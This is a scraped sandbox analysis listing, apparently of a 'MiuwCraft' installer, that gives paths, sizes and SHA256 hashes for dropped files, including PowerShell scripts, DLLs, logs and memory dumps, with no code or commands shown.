                                                                  • SHA256 1deee32edff320827dbfbe22aa42e83d8caf79f95f7cf18013424da7cdadb975
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  pt-PT.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\pt-PT.pak
                                                                  • Size 530KB
                                                                  • SHA256 fcd194e5caf36be4958c559acbde4f28a957083bf2aceac893f9e5c9e65d8a95
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  ro.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\ro.pak
                                                                  • Size 549KB
                                                                  • SHA256 06c6486e8a42b447a55bd789bf2bc794354fa4be062139481e4612550f16c755
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  ru.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\ru.pak
                                                                  • Size 902KB
                                                                  • SHA256 6e53b1b54bac43c07798ee6507bd05806fbd2146ac0f987a7f03aae3cf5d9985
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  sk.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\sk.pak
                                                                  • Size 566KB
                                                                  • SHA256 7a1db23a5b4f8e4c7cbc80a832f4f4c33fe29e31d4ae78a814bd8ca85620968f
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  sl.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\sl.pak
                                                                  • Size 544KB
                                                                  • SHA256 7235e631afff75cad9d25b2e5a0e74696ea6b7f4b2a05753331bbd719a0699cb
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  sr.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\sr.pak
                                                                  • Size 839KB
                                                                  • SHA256 35e57d972a60e161f123a5783e67e250f5cae1f66a2c11b119c10b81c43bd03f
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  sv.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\sv.pak
                                                                  • Size 489KB
                                                                  • SHA256 bcd070d70a4284fd3144bf37c5e56994ca3a69c8f65aa72a9231748b30210e00
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  sw.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\sw.pak
                                                                  • Size 515KB
                                                                  • SHA256 eb96ab83e2e08e811928742590178e97454863bc581dd8574d6a644fd3c6615a
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  ta.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\ta.pak
                                                                  • Size 1.3MB
                                                                  • SHA256 e213c963248c93fcb4b88b1a45936dda28a5fe39cc0428a16556c6d737fc9940
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  te.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\te.pak
                                                                  • Size 1.2MB
                                                                  • SHA256 8dd7d206379445bd9afa4e01ab986c439cf70841d080fca6e152b453e94fcc49
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  th.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\th.pak
                                                                  • Size 1.0MB
                                                                  • SHA256 a4c2c305aa9d3df52d988c4da2bda398e8ee81d320e9da1de7d4d366e826dbc2
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  tr.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\tr.pak
                                                                  • Size 527KB
                                                                  • SHA256 f842b56ddc4145e4474c5cfc67893900b577c131a4b123cb16cfcad48ed0f338
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  uk.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\uk.pak
                                                                  • Size 902KB
                                                                  • SHA256 5dd2fcc64ef09be0775c2efe7e07dddfc18f5ba6059f878d0c22b9b0c2207cdc
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  ur.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\ur.pak
                                                                  • Size 790KB
                                                                  • SHA256 a0c752a805da7dd6608ad04625734f4d27cb75b682f51b2dc8ef08350cc7a2cc
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  vi.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\vi.pak
                                                                  • Size 624KB
                                                                  • SHA256 d7f676cf557d43db07b14a22b0b20ca761ced59285cadd75c07c68613486e909
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  zh-CN.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\zh-CN.pak
                                                                  • Size 450KB
                                                                  • SHA256 48e32f53d07cad6e6dc12040619f7021fa8f0b3254cc6945905b7c6748acb787
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  zh-TW.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\locales\zh-TW.pak
                                                                  • Size 445KB
                                                                  • SHA256 a8b11c74a0512fed29b11748181ef4b1de84dc99197c48d9eecf316aceb425fa
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  resources.pak
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\resources.pak
                                                                  • Size 5.1MB
                                                                  • SHA256 75e03df55d7d23c840c09288da270285f17d067cef8709252451c0a8aa1254f4
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  elevate.exe
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\resources\elevate.exe
                                                                  • Size 105KB
                                                                  • SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  snapshot_blob.bin
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\snapshot_blob.bin
                                                                  • Size 300KB
                                                                  • SHA256 7f80294b63fb7cd63b43be498fcbe1e34bb05a8011cad9514c4eb9b29dfa5336
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  v8_context_snapshot.bin
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\v8_context_snapshot.bin
                                                                  • Size 641KB
                                                                  • SHA256 0b239cf5ab92a27cfa087b49e6dc943e0c674b62cea643cff2130e1c2f8db31c
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  vk_swiftshader.dll
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\vk_swiftshader.dll
                                                                  • Size 5.1MB
                                                                  • SHA256 6ff65b7a5faf726cf747eca6d6504e885a70664e37dc5e38e0e0cc68bed3bf6d
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  vk_swiftshader_icd.json
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\vk_swiftshader_icd.json
                                                                  • Size 106B
                                                                  • SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  vulkan-1.dll
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\7z-out\vulkan-1.dll
                                                                  • Size 935KB
                                                                  • SHA256 715dca5af441dc220a61fb0f8e66600dc4f9f63ecc106fa43bc683098e00fff8
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  SpiderBanner.dll
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\SpiderBanner.dll
                                                                  • Size 9KB
                                                                  • SHA256 996a259e53ca18b89ec36d038c40148957c978c0fd600a268497d4c92f882a93
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  StdUtils.dll
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\StdUtils.dll
                                                                  • Size 100KB
                                                                  • SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  System.dll
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\System.dll
                                                                  • Size 12KB
                                                                  • SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  WinShell.dll
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\WinShell.dll
                                                                  • Size 3KB
                                                                  • SHA256 9be85b986ea66a6997dde658abe82b3147ed2a1a3dcb784bb5176f41d22815a6
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  nsProcess.dll
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\nsProcess.dll
                                                                  • Size 4KB
                                                                  • SHA256 30c6c3dd3cc7fcea6e6081ce821adc7b2888542dae30bf00e881c0a105eb4d11
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  nsis7z.dll
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nsv4BA.tmp\nsis7z.dll
                                                                  • Size 424KB
                                                                  • SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  nyx_debug_2026-07-09_10-09.log
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nyx_logs\nyx_debug_2026-07-09_10-09.log
                                                                  • Size 452B
                                                                  • SHA256 50290be8647b01f31af21bceb9f97858e1a6368a875394e1ab846ac3d822884e
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  nyx_debug_2026-07-09_10-09.log
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nyx_logs\nyx_debug_2026-07-09_10-09.log
                                                                  • Size 1KB
                                                                  • SHA256 a5e83f03a046de36c5b6e230fdfac7669b083381fe64390dea344ed3591525f9
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  nyx_debug_2026-07-09_10-09.log
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nyx_logs\nyx_debug_2026-07-09_10-09.log
                                                                  • Size 2KB
                                                                  • SHA256 bc37168b28dd640314b29ca1422da43f030ec42879c9bd84b146fd773bb07867
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  nyx_debug_2026-07-09_10-09.log
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\nyx_logs\nyx_debug_2026-07-09_10-09.log
                                                                  • Size 4KB
                                                                  • SHA256 a5c869d9a0e4f3ac297a43cf4fbe6e6b9975584b0b765cc60160ae99525db8d6
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                  Submit Download

                                                                  sys_debug_dbaad15a.ps1
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\sys_debug_dbaad15a.ps1
                                                                  • Size 707B
                                                                  • SHA256 d36cb4b019ce3f2dec7a466b5baa8ba2681ef0fcfe5f1ca8be15972592898312
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  sys_debug_ea10ab94.ps1
                                                                  • Path C:\Users\Admin\AppData\Local\Temp\sys_debug_ea10ab94.ps1
                                                                  • Size 711B
                                                                  • SHA256 1ffc67e3bdd27bb1414cb46b7d7e5dae1caa5e29c28c0bdf3750065f004ecd8f
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  MiuwCraft.lnk
                                                                  • Path C:\Users\Public\Desktop\MiuwCraft.lnk
                                                                  • Size 1KB
                                                                  • SHA256 e72c2c66c9e8a8b286c5122ae2759b3fab127c2d647d18eedebfb36b9f767be0
                                                                  • MD5 SHA1 SHA512 TLSH
                                                                  Submit Download

                                                                  memory/2388-887-0x000001FA001E0000-0x000001FA002E0000-memory.dmp
                                                                  Download

                                                                  memory/2388-917-0x000001FA01A00000-0x000001FA01A20000-memory.dmp
                                                                  Download

                                                                  memory/2388-918-0x000001FA01E20000-0x000001FA01F20000-memory.dmp
                                                                  Download

                                                                  memory/2388-933-0x000001FA04270000-0x000001FA04290000-memory.dmp
                                                                  Download

                                                                  memory/2388-919-0x000001FA01D40000-0x000001FA01D60000-memory.dmp
                                                                  Download

                                                                  memory/3188-575-0x00000218DF660000-0x00000218DF66A000-memory.dmp
                                                                  Download

                                                                  memory/3188-574-0x00000218DF730000-0x00000218DF7E2000-memory.dmp
                                                                  Download

                                                                  memory/3188-573-0x00000218DF670000-0x00000218DF68E000-memory.dmp
                                                                  Download

                                                                  memory/3188-568-0x00000218C74B0000-0x00000218C74D2000-memory.dmp
                                                                  Download

                                                                  memory/4804-623-0x0000024943F70000-0x0000024943FC0000-memory.dmp
                                                                  Download

                                                                  memory/5512-762-0x0000029189720000-0x0000029189730000-memory.dmp
                                                                  Download

                                                                  memory/5512-735-0x0000029186B30000-0x0000029186B40000-memory.dmp
                                                                  Download